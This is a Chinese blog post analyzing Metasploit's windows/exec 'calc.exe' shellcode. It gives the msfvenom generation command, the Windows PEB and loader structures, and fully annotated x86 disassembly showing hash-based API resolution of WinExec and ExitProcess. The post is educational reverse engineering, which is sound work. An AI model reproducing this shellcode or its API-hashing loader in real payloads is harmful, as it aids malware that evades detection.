msf生成的shellcode分析--走,组团分析shellcode呀

作者丨selph

分析 MSF Windows/exec Shellcode

最近分析漏洞用到msf生成的样本进行测试,其中用到payload选项为Windows/exec cmd="calc.exe"的这个payload,本着一定要知道利用代码是怎么运行的想法,开始对该shellcode的详细分析。

实验环境

•          虚拟机:Kali Linux 2022.1 x64

•          物理机:Windows 10 21H2 家庭版

•          软件:x86dbg,scdbg,windbg,010 Editor

生成shellcode

使用Kali Linux生成shellcode:

┌──(selph㉿kali)-[~/桌面/shellcode]

└─$ msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 193 bytes

Saved as: shellcode.bin

前置知识补充

通过fs寄存器获取模块信息

使用windbg可以很方便查看用到的这些结构

fs寄存器指向线程的TEB结构:

0:000> dt _TEB

ntdll!_TEB

+0x000 NtTib            : _NT_TIB

+0x01c EnvironmentPointer : Ptr32 Void

+0x020 ClientId         : _CLIENT_ID

+0x028 ActiveRpcHandle  : Ptr32 Void

+0x02c ThreadLocalStoragePointer : Ptr32 Void

+0x030 ProcessEnvironmentBlock : Ptr32 _PEB

TEB[0x30]指向当前的PEB结构:

0:000> dt _peb

ntdll!_PEB

+0x000 InheritedAddressSpace : UChar

+0x001 ReadImageFileExecOptions : UChar

+0x002 BeingDebugged    : UChar

+0x003 BitField         : UChar

+0x003 ImageUsesLargePages : Pos 0, 1 Bit

+0x003 IsProtectedProcess : Pos 1, 1 Bit

+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit

+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit

+0x003 IsPackagedProcess : Pos 4, 1 Bit

+0x003 IsAppContainer   : Pos 5, 1 Bit

+0x003 IsProtectedProcessLight : Pos 6, 1 Bit

+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit

+0x004 Mutant           : Ptr32 Void

+0x008 ImageBaseAddress : Ptr32 Void

+0x00c Ldr              : Ptr32 _PEB_LDR_DATA

+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

PEB[0xC]指向_PEB_LDR_DATA结构,这里保存了模块相关的信息:

0:000> dt _PEB_LDR_DATA

ntdll!_PEB_LDR_DATA

+0x000 Length           : Uint4B

+0x004 Initialized      : UChar

+0x008 SsHandle         : Ptr32 Void

+0x00c InLoadOrderModuleList : _LIST_ENTRY

+0x014 InMemoryOrderModuleList : _LIST_ENTRY

+0x01c InInitializationOrderModuleList : _LIST_ENTRY

+0x024 EntryInProgress  : Ptr32 Void

+0x028 ShutdownInProgress : UChar

+0x02c ShutdownThreadId : Ptr32 Void

这里的三个_LIST_ENTRY双向链表结构都是连接本进程内所有模块的_LDR_DATA_TABLE_ENTRY结构,这里有更详细的模块信息:

例如0x18偏移处的模块基址,0x2c偏移处的模块名称等....

0:000> dt _LDR_DATA_TABLE_ENTRY

ntdll!_LDR_DATA_TABLE_ENTRY

+0x000 InLoadOrderLinks : _LIST_ENTRY

+0x008 InMemoryOrderLinks : _LIST_ENTRY

+0x010 InInitializationOrderLinks : _LIST_ENTRY

+0x018 DllBase          : Ptr32 Void

+0x01c EntryPoint       : Ptr32 Void

+0x020 SizeOfImage      : Uint4B

+0x024 FullDllName      : _UNICODE_STRING

+0x02c BaseDllName      : _UNICODE_STRING

+0x034 FlagGroup        : [4] UChar

+0x034 Flags            : Uint4B

+0x034 PackagedBinary   : Pos 0, 1 Bit

+0x034 MarkedForRemoval : Pos 1, 1 Bit

+0x034 ImageDll         : Pos 2, 1 Bit

+0x034 LoadNotificationsSent : Pos 3, 1 Bit

+0x034 TelemetryEntryProcessed : Pos 4, 1 Bit

+0x034 ProcessStaticImport : Pos 5, 1 Bit

+0x034 InLegacyLists    : Pos 6, 1 Bit

+0x034 InIndexes        : Pos 7, 1 Bit

+0x034 ShimDll          : Pos 8, 1 Bit

+0x034 InExceptionTable : Pos 9, 1 Bit

+0x034 ReservedFlags1   : Pos 10, 2 Bits

+0x034 LoadInProgress   : Pos 12, 1 Bit

+0x034 LoadConfigProcessed : Pos 13, 1 Bit

+0x034 EntryProcessed   : Pos 14, 1 Bit

+0x034 ProtectDelayLoad : Pos 15, 1 Bit

+0x034 ReservedFlags3   : Pos 16, 2 Bits

+0x034 DontCallForThreads : Pos 18, 1 Bit

+0x034 ProcessAttachCalled : Pos 19, 1 Bit

+0x034 ProcessAttachFailed : Pos 20, 1 Bit

+0x034 CorDeferredValidate : Pos 21, 1 Bit

+0x034 CorImage         : Pos 22, 1 Bit

+0x034 DontRelocate     : Pos 23, 1 Bit

+0x034 CorILOnly        : Pos 24, 1 Bit

+0x034 ChpeImage        : Pos 25, 1 Bit

+0x034 ReservedFlags5   : Pos 26, 2 Bits

+0x034 Redirected       : Pos 28, 1 Bit

+0x034 ReservedFlags6   : Pos 29, 2 Bits

+0x034 CompatDatabaseProcessed : Pos 31, 1 Bit

+0x038 ObsoleteLoadCount : Uint2B

+0x03a TlsIndex         : Uint2B

+0x03c HashLinks        : _LIST_ENTRY

+0x044 TimeDateStamp    : Uint4B

+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT

+0x04c Lock             : Ptr32 Void

+0x050 DdagNode         : Ptr32 _LDR_DDAG_NODE

+0x054 NodeModuleLink   : _LIST_ENTRY

+0x05c LoadContext      : Ptr32 _LDRP_LOAD_CONTEXT

+0x060 ParentDllBase    : Ptr32 Void

+0x064 SwitchBackContext : Ptr32 Void

+0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE

+0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE

+0x080 OriginalBase     : Uint4B

+0x088 LoadTime         : _LARGE_INTEGER

+0x090 BaseNameHashValue : Uint4B

+0x094 LoadReason       : _LDR_DLL_LOAD_REASON

+0x098 ImplicitPathOptions : Uint4B

+0x09c ReferenceCount   : Uint4B

+0x0a0 DependentLoadFlags : Uint4B

+0x0a4 SigningLevel     : UChar

手动解析PE文件拿到导出表

关于PE文件解析,可以使用010 Editor的exe.bt模板来辅助解析

使用010 Editor随便打开一个DLL(一般都有导出表),界面如下:


这里通过下面模板的表格去找对应的偏移即可辅助理解分析中用到的结构,跟着shellcode的反汇编中给出的偏移去找结构,本文中足够用了

具体操作这里就不再介绍,有需要深入了解可自行学习

分析shellcode

准备工作

把生成的shellcode传到物理机,使用010editor打开:


复制,二进制,打开x86dbg(用随便一个测试进程),选中一片空白区域,二进制编辑:


把刚刚复制的shellcode黏贴进去,然后确定,修改eip为我们复制shellcode的首地址:


接下来就可以用x86dbg开始调试分析了(使用x86dbg方便查看每个指令运行的结果,故这里没使用IDA)

接下来收集一下shellcode调用API的信息,使用scdbg进行扫描:


这里调用了三个函数:WinExec("calc.exe"),GetVersion(),ExitProcess(0)

可以通过参考资料[2]去查询API Hash Table

开始分析

首先shellcode设置了DF标志位,然后跳转进函数BE2F6E

00BE2EE5       | 90                       | nop                                      |

00BE2EE6       | FC                       | cld                                      |

00BE2EE7       | E8 82000000              | call testmfc x86.BE2F6E                  |通过call将当前下一条指令的地址放到栈里

接下来进入函数:

00BE2F6E       | 5D                       | pop ebp                                  |获取shellcode指令地址

00BE2F6F       | 6A 01                    | push 1                                   |

00BE2F71       | 8D85 B2000000            | lea eax,dword ptr ss:[ebp+B2]            |获取字符串“calc.exe”的地址(偏移指向shellcode末尾)

00BE2F77       | 50                       | push eax                                 | push "calc.exe"

00BE2F78       | 68 318B6F87              | push 876F8B31                            | Hash WinExec

00BE2F7D       | FFD5                     | call ebp                                 |保存当前下一行地址,跳转回去

这里通过call+pop ebp的方式获取了shellcode本身的地址,通过硬编码偏移获得shellcode末尾的字符串“calc.exe”,然后入栈3个参数call ebp(ebp的值是刚刚call进来的call指令的下一行)

shellcode使用call+pop可以实现shellcode地址的定位功能

00BE2EEC       | 60                       | pushad                                   |保存寄存器环境

00BE2EED       | 89E5                     | mov ebp,esp                              |保存栈顶

00BE2EEF       | 31C0                     | xor eax,eax                              |清空eax

00BE2EF1       | 64:8B50 30               | mov edx,dword ptr fs:[eax+30]            |读取fs寄存器偏移0x30处:PEB的地址

00BE2EF5       | 8B52 0C                  | mov edx,dword ptr ds:[edx+C]             | [PEB + 0xC] = PEB_LDR_DATA Addr

00BE2EF8       | 8B52 14                  | mov edx,dword ptr ds:[edx+14]            | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink

00BE2EFB       | 8B72 28                  | mov esi,dword ptr ds:[edx+28]            | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,当前模块名称

00BE2EFE       | 0FB74A 26                | movzx ecx,word ptr ds:[edx+26]           |

00BE2F02       | 31FF                     | xor edi,edi                              |清空edi

00BE2F04       | AC                       | lodsb                                    | esi的值给到ax,对当前模块名计算hash

00BE2F05       | 3C 61                    | cmp al,61                                |和a做比较,判断是否是小写

00BE2F07       | 7C 02                    | jl testmfc x86.BE2F0B                    |大写字母跳转

00BE2F09       | 2C 20                    | sub al,20                                | al - 0x20小写变大写

00BE2F0B       | C1CF 0D                  | ror edi,D                                | edi循环右移0xd

00BE2F0E       | 01C7                     | add edi,eax                              | edi += ax

00BE2F10       | E2 F2                    | loop testmfc x86.BE2F04                  |循环

00BE2F12       | 52                       | push edx                                 |保存_LDR_DATA_TABLE_ENTRY地址

00BE2F13       | 57                       | push edi                                 |保存当前模块名Hash

00BE2F14       | 8B52 10                  | mov edx,dword ptr ds:[edx+10]            |读取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模块首地址

00BE2F17       | 8B4A 3C                  | mov ecx,dword ptr ds:[edx+3C]            |读取DOS头的扩展头偏移

00BE2F1A       | 8B4C11 78                | mov ecx,dword ptr ds:[ecx+edx+78]        |获取扩展头中数据目录表的导出表的偏移

00BE2F1E       | E3 48                    | jecxz testmfc x86.BE2F68                 | ecx为0则跳转,说明没有导出表

首先保存寄存器环境,通过fs寄存器获得PEB地址,从PEB中找到_LDR_DATA_TABLE_ENTRY结构,找到模块基址用于遍历导出表中的函数名称,寻找函数要用

这里最后判断ecx是否为0,ecx为0意味着没有导出表,如果没有导出表则跳转:

00BE2F68       | 5F                       | pop edi                                  |还原保存的edi当前模块名Hash

00BE2F69       | 5A                       | pop edx                                  |还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址

00BE2F6A       | 8B12                     | mov edx,dword ptr ds:[edx]               |读取下一个节点

00BE2F6C       | EB 8D                    | jmp testmfc x86.BE2EFB                   |

还原搜索导出表之前的环境,然后通过链表读取下一个节点,再次跳转回去搜索下一个节点保存的模块是否有我们需要的函数

如果模块有导出表则不进行跳转,继续执行:

00BE2F20       | 01D1                     | add ecx,edx                              |导出表偏移+模块基地址=导出表位置

00BE2F22       | 51                       | push ecx                                 |保存导出表位置

00BE2F23       | 8B59 20                  | mov ebx,dword ptr ds:[ecx+20]            |找到导出名称表地址偏移

00BE2F26       | 01D3                     | add ebx,edx                              | ebx =找到导出名称表地址

00BE2F28       | 8B49 18                  | mov ecx,dword ptr ds:[ecx+18]            |获取导出名称数量

00BE2F2B       | E3 3A                    | jecxz testmfc x86.BE2F67                 |如果数量为0则跳转(无名称导出函数或者遍历完整个导出表没找到要找的函数)

存在导出表则计算导出表在模块中的位置,然后解析导出表信息:导出名称表,导出名称数量,如果导出名称数量为0,则表示这里肯定没有我们要调用的函数名称导出的函数,则跳转:

00BE2F67       | 5F                       | pop edi                                  | edi:_wWinMainCRTStartup

00BE2F68       | 5F                       | pop edi                                  |还原保存的edi当前模块名Hash

00BE2F69       | 5A                       | pop edx                                  |还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址

00BE2F6A       | 8B12                     | mov edx,dword ptr ds:[edx]               |读取下一个节点

00BE2F6C       | EB 8D                    | jmp testmfc x86.BE2EFB                   |

还原搜索导出表之前的环境,然后通过链表读取下一个节点,再次跳转回去搜索下一个节点保存的模块。

如果导出名称数量不为0则继续执行:

00BE2F2D       | 49                       | dec ecx                                  | ecx作为循环计数,遍历整个导出名称表

00BE2F2E       | 8B348B                   | mov esi,dword ptr ds:[ebx+ecx*4]         |读取一个函数名称偏移

00BE2F31       | 01D6                     | add esi,edx                              |读取函数名称地址

00BE2F33       | 31FF                     | xor edi,edi                              |清空edi

00BE2F35       | AC                       | lodsb                                    |取一个字符出来,指向下一个字符,计算函数名Hash

00BE2F36       | C1CF 0D                  | ror edi,D                                | edi循环右移0xD

00BE2F39       | 01C7                     | add edi,eax                              | edi += eax

00BE2F3B       | 38E0                     | cmp al,ah                                |对比al和ah

00BE2F3D       | 75 F6                    | jne testmfc x86.BE2F35                   |不相等则跳转,意思是遍历整个函数名,到名称末尾\00时停止循环

00BE2F3F       | 037D F8                  | add edi,dword ptr ss:[ebp-8]             | edi += [ebp-8],给计算出来的函数名Hash加一个数字

00BE2F42       | 3B7D 24                  | cmp edi,dword ptr ss:[ebp+24]            |判断是否等于保存的Hash

00BE2F45       | 75 E4                    | jne testmfc x86.BE2F2B                   |不相等就跳转

00BE2F47       | 58                       | pop eax                                  |导出表的位置

00BE2F48       | 8B58 24                  | mov ebx,dword ptr ds:[eax+24]            |找到导出序号表偏移

00BE2F4B       | 01D3                     | add ebx,edx                              | ebx =导出序号表偏移+模块基址=导出序号表地址

00BE2F4D       | 66:8B0C4B                | mov cx,word ptr ds:[ebx+ecx*2]           | ecx是导出序号偏移,这里是计算导出序号表的索引

00BE2F51       | 8B58 1C                  | mov ebx,dword ptr ds:[eax+1C]            |导出地址表偏移

00BE2F54       | 01D3                     | add ebx,edx                              |导出地址表地址

00BE2F56       | 8B048B                   | mov eax,dword ptr ds:[ebx+ecx*4]         |按照导出序号获取导出函数地址偏移

00BE2F59       | 01D0                     | add eax,edx                              |拿到导出函数地址

00BE2F5B       | 894424 24                | mov dword ptr ss:[esp+24],eax            |保存导出函数到栈里

00BE2F5F       | 5B                       | pop ebx                                  |堆栈平衡,把之前push的都pop

00BE2F60       | 5B                       | pop ebx                                  |

00BE2F61       | 61                       | popad                                    |

00BE2F62       | 59                       | pop ecx                                  |

00BE2F63       | 5A                       | pop edx                                  |

00BE2F64       | 51                       | push ecx                                 |构造返回地址,返回到刚刚入栈Hash的地方的下一行,去找下一个函数来执行

00BE2F65       | FFE0                     | jmp eax                                  |执行函数

这里ecx是导出名称数量,同时也作为索引去搜索导出名称表中的函数名称,对每一个找到的导出名称进行Hash计算,然后与栈中保存的我们要找的函数的Hash进行比对,如果找不到,则找下一个函数,如果函数找完了,则找下一个模块

如果找到了,则pop导出表地址给eax,再次解析导出表信息:导出序号表,导出地址表,从导出名称表中获得的索引去获取导出序号表中对应的序号,通过找到的导出序号去导出地址表找到对应的导出函数地址,保存到eax里

拿到导出函数地址之后,堆栈平衡还原到搜索函数之前的位置,然后自己构造返回地址,通过push jmp来模拟call,push的返回地址是我们构造的刚刚push函数hash后面的call留下的地址

执行完函数会返回回去:

00BE2F7F       | BB F0B5A256              | mov ebx,56A2B5F0                         | Hash ExitProcess

00BE2F84       | 68 A695BD9D              | push 9DBD95A6                            | Hash GetVersion

00BE2F89       | FFD5                     | call ebp                                 |跳转去找到函数并执行

00BE2F8B       | 3C 06                    | cmp al,6                                 |看返回结果是否小于6

00BE2F8D       | 7C 0A                    | jl testmfc x86.BE2F99                    |小于6则跳转

00BE2F8F       | 80FB E0                  | cmp bl,E0                                |判断bl结尾是不是E0

00BE2F92       | 75 05                    | jne testmfc x86.BE2F99                   |不是则跳转,实际上是判断是退出线程还是退出进程

00BE2F94       | BB 4713726F              | mov ebx,6F721347                         | Hash RtlExitUserThread

00BE2F99       | 6A 00                    | push 0                                   |参数:0

00BE2F9B       | 53                       | push ebx                                 | Hash ExitProcess

00BE2F9C       | FFD5                     | call ebp                                 |调用ExitProcess(0)

00BE2F9E       | 6361 6C                  | arpl word ptr ds:[ecx+6C],sp             |字符串“calc.exe”

00BE2FA1       | 632E                     | arpl word ptr ds:[esi],bp                | esi:_wWinMainCRTStartup

00BE2FA3       | 65:78 65                 | js testmfc x86.BE300B                    |

然后接下来走同样的途径,去依次调用接下来要调用的函数:GetVersion,ExitProcess

这里shellcode最后这个call ebp之后的内容,不是指令,是我们调用函数的字符串参数“calc.exe”

到这里shellcode整个工作流程就是这些了,本例中,执行结果就是弹出计算器

执行流程总结

Shellcode执行流程总结:

1.        入栈函数的参数和函数名的Hash,跳转到函数进行搜索:

a.        通过_TEB找到_PEB

b.        通过_PEB找到_PEB_LDR_DATA

c.        通过_PEB_LDR_DATA找到当前的_LDR_DATA_TABLE_ENTRY,载入进程的模块信息双向链表

d.        获取模块基址

e.        手工解析PE文件,找到导出表,若无则跳转至第8步

f.         解析导出表,找到导出名称表和导出名称数量,若数量为0,则跳转至第8步

g.        根据导出名称表遍历每一个导出名称计算Hash,比对Hash与我们保存的Hash是否相同

h.        若找不到该函数,则通过链表找到下一个模块信息,跳转至第4步进行循环

i.         若找到目标函数,则调用该函数,然后返回出来

2.        入栈下一个函数及其所需要的参数,然后再走一遍上面的流程去调用执行,直到完成shellcode所有要执行的函数

完整反汇编分析注释

00BE2EE6       | FC                       | cld                                      |

00BE2EE7       | E8 82000000              | call testmfc x86.BE2F6E                  |通过call将当前下一条指令的地址放到栈里

00BE2EEC       | 60                       | pushad                                   |保存寄存器环境

00BE2EED       | 89E5                     | mov ebp,esp                              |保存栈顶

00BE2EEF       | 31C0                     | xor eax,eax                              |清空eax

00BE2EF1       | 64:8B50 30               | mov edx,dword ptr fs:[eax+30]            |读取fs寄存器偏移0x30处:PEB的地址

00BE2EF5       | 8B52 0C                  | mov edx,dword ptr ds:[edx+C]             | [PEB + 0xC] = PEB_LDR_DATA Addr

00BE2EF8       | 8B52 14                  | mov edx,dword ptr ds:[edx+14]            | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink

00BE2EFB       | 8B72 28                  | mov esi,dword ptr ds:[edx+28]            | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,当前模块名称

00BE2EFE       | 0FB74A 26                | movzx ecx,word ptr ds:[edx+26]           |

00BE2F02       | 31FF                     | xor edi,edi                              |清空edi

00BE2F04       | AC                       | lodsb                                    | esi的值给到ax,对当前模块名计算hash

00BE2F05       | 3C 61                    | cmp al,61                                |和a做比较,判断是否是小写

00BE2F07       | 7C 02                    | jl testmfc x86.BE2F0B                    |大写字母跳转

00BE2F09       | 2C 20                    | sub al,20                                | al - 0x20小写变大写

00BE2F0B       | C1CF 0D                  | ror edi,D                                | edi循环右移0xd

00BE2F0E       | 01C7                     | add edi,eax                              | edi += ax

00BE2F10       | E2 F2                    | loop testmfc x86.BE2F04                  |循环

00BE2F12       | 52                       | push edx                                 |保存_LDR_DATA_TABLE_ENTRY地址

00BE2F13       | 57                       | push edi                                 |保存当前模块名Hash

00BE2F14       | 8B52 10                  | mov edx,dword ptr ds:[edx+10]            |读取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模块首地址

00BE2F17       | 8B4A 3C                  | mov ecx,dword ptr ds:[edx+3C]            |读取DOS头的扩展头偏移

00BE2F1A       | 8B4C11 78                | mov ecx,dword ptr ds:[ecx+edx+78]        |获取扩展头中数据目录表的导出表的偏移

00BE2F1E       | E3 48                    | jecxz testmfc x86.BE2F68                 | ecx为0则跳转,说明没有导出表

00BE2F20       | 01D1                     | add ecx,edx                              |导出表偏移+模块基地址=导出表位置

00BE2F22       | 51                       | push ecx                                 |保存导出表位置

00BE2F23       | 8B59 20                  | mov ebx,dword ptr ds:[ecx+20]            |找到导出名称表地址偏移

00BE2F26       | 01D3                     | add ebx,edx                              | ebx =找到导出名称表地址

00BE2F28       | 8B49 18                  | mov ecx,dword ptr ds:[ecx+18]            |获取导出名称数量

00BE2F2B       | E3 3A                    | jecxz testmfc x86.BE2F67                 |如果数量为0则跳转(无名称导出函数或者遍历完整个导出表没找到要找的函数)

00BE2F2D       | 49                       | dec ecx                                  | ecx作为循环计数,遍历整个导出名称表

00BE2F2E       | 8B348B                   | mov esi,dword ptr ds:[ebx+ecx*4]         |读取一个函数名称偏移

00BE2F31       | 01D6                     | add esi,edx                              |读取函数名称地址

00BE2F33       | 31FF                     | xor edi,edi                              |清空edi

00BE2F35       | AC                       | lodsb                                    |取一个字符出来,指向下一个字符,计算函数名Hash

00BE2F36       | C1CF 0D                  | ror edi,D                                | edi循环右移0xD

00BE2F39       | 01C7                     | add edi,eax                              | edi += eax

00BE2F3B       | 38E0                     | cmp al,ah                                |对比al和ah

00BE2F3D       | 75 F6                    | jne testmfc x86.BE2F35                   |不相等则跳转,意思是遍历整个函数名,到名称末尾\00时停止循环

00BE2F3F       | 037D F8                  | add edi,dword ptr ss:[ebp-8]             | edi += [ebp-8],给计算出来的函数名Hash加一个数字

00BE2F42       | 3B7D 24                  | cmp edi,dword ptr ss:[ebp+24]            |判断是否等于保存的Hash

00BE2F45       | 75 E4                    | jne testmfc x86.BE2F2B                   |不相等就跳转

00BE2F47       | 58                       | pop eax                                  |导出表的位置

00BE2F48       | 8B58 24                  | mov ebx,dword ptr ds:[eax+24]            |找到导出序号表偏移

00BE2F4B       | 01D3                     | add ebx,edx                              | ebx =导出序号表偏移+模块基址=导出序号表地址

00BE2F4D       | 66:8B0C4B                | mov cx,word ptr ds:[ebx+ecx*2]           | ecx是导出序号偏移,这里是计算导出序号表的索引

00BE2F51       | 8B58 1C                  | mov ebx,dword ptr ds:[eax+1C]            |导出地址表偏移

00BE2F54       | 01D3                     | add ebx,edx                              |导出地址表地址

00BE2F56       | 8B048B                   | mov eax,dword ptr ds:[ebx+ecx*4]         |按照导出序号获取导出函数地址偏移

00BE2F59       | 01D0                     | add eax,edx                              |拿到导出函数地址

00BE2F5B       | 894424 24                | mov dword ptr ss:[esp+24],eax            |保存导出函数到栈里

00BE2F5F       | 5B                       | pop ebx                                  |堆栈平衡,把之前push的都pop

00BE2F60       | 5B                       | pop ebx                                  |

00BE2F61       | 61                       | popad                                    |

00BE2F62       | 59                       | pop ecx                                  |

00BE2F63       | 5A                       | pop edx                                  |

00BE2F64       | 51                       | push ecx                                 |构造返回地址,返回到刚刚入栈Hash的地方的下一行,去找下一个函数来执行

00BE2F65       | FFE0                     | jmp eax                                  |执行函数

00BE2F67       | 5F                       | pop edi                                  | edi:_wWinMainCRTStartup

00BE2F68       | 5F                       | pop edi                                  |还原保存的edi当前模块名Hash

00BE2F69       | 5A                       | pop edx                                  |还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址

00BE2F6A       | 8B12                     | mov edx,dword ptr ds:[edx]               |读取下一个节点

00BE2F6C       | EB 8D                    | jmp testmfc x86.BE2EFB                   |

00BE2F6E       | 5D                       | pop ebp                                  |获取shellcode指令地址

00BE2F6F       | 6A 01                    | push 1                                   |

00BE2F71       | 8D85 B2000000            | lea eax,dword ptr ss:[ebp+B2]            |获取字符串“calc.exe”的地址(偏移指向shellcode末尾)

00BE2F77       | 50                       | push eax                                 | push "calc.exe"

00BE2F78       | 68 318B6F87              | push 876F8B31                            | Hash WinExec

00BE2F7D       | FFD5                     | call ebp                                 |保存当前下一行地址,跳转回去

00BE2F7F       | BB F0B5A256              | mov ebx,56A2B5F0                         | Hash ExitProcess

00BE2F84       | 68 A695BD9D              | push 9DBD95A6                            | Hash GetVersion

00BE2F89       | FFD5                     | call ebp                                 |跳转去找到函数并执行

00BE2F8B       | 3C 06                    | cmp al,6                                 |看返回结果是否小于6

00BE2F8D       | 7C 0A                    | jl testmfc x86.BE2F99                    |小于6则跳转

00BE2F8F       | 80FB E0                  | cmp bl,E0                                |判断bl结尾是不是E0

00BE2F92       | 75 05                    | jne testmfc x86.BE2F99                   |不是则跳转,实际上是判断是退出线程还是退出进程

00BE2F94       | BB 4713726F              | mov ebx,6F721347                         | Hash RtlExitUserThread

00BE2F99       | 6A 00                    | push 0                                   |参数:0

00BE2F9B       | 53                       | push ebx                                 | Hash ExitProcess

00BE2F9C       | FFD5                     | call ebp                                 |调用ExitProcess(0)

00BE2F9E       | 6361 6C                  | arpl word ptr ds:[ecx+6C],sp             |字符串“calc.exe”

00BE2FA1       | 632E                     | arpl word ptr ds:[esi],bp                | esi:_wWinMainCRTStartup

00BE2FA3       | 65:78 65                 | js testmfc x86.BE300B                    |

完整反汇编分析注释截图版


总结

该shellcode的主要流程其实是下面那一小段,入栈函数参数和函数Hash,然后调用函数去搜索函数地址并调用,然后再用相同的方式调用下一个函数,直到完成shellcode执行的功能,通过对本例的分析,可以很清晰明了地了解shellcode是如何获取函数地址的,以及如何调用的,也算是一次不错的反汇编练习

最后,感谢大家的浏览,如有问题欢迎师傅们指出、探讨与交流~

参考资料

•          [1]RE Corner - scdbg download (sandsprite.com)

(http://sandsprite.com/blogs/index.php?uid=7&pid=152)

•          [2]https://raw.githubusercontent.com/avast/ioc/master/CobaltStrike/api_hashes/win10_api_hashes.txt

•          [3]走进shellcode - 安全客,安全资讯平台 (anquanke.com)

(https://www.anquanke.com/post/id/264883)

•          [4]LODS/LODSB/LODSW/LODSD/LODSQ — Load String (felixcloutier.com)

(https://www.felixcloutier.com/x86/lods:lodsb:lodsw:lodsd:lodsq)

•          [5]汇编跳转指令: JMP、JECXZ、JA、JB、JG、JL、JE、JZ、JS、JC、JO、JP 等_zmmycsdn的博客-CSDN博客_汇编jb(https://blog.csdn.net/zmmycsdn/article/details/78511948)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容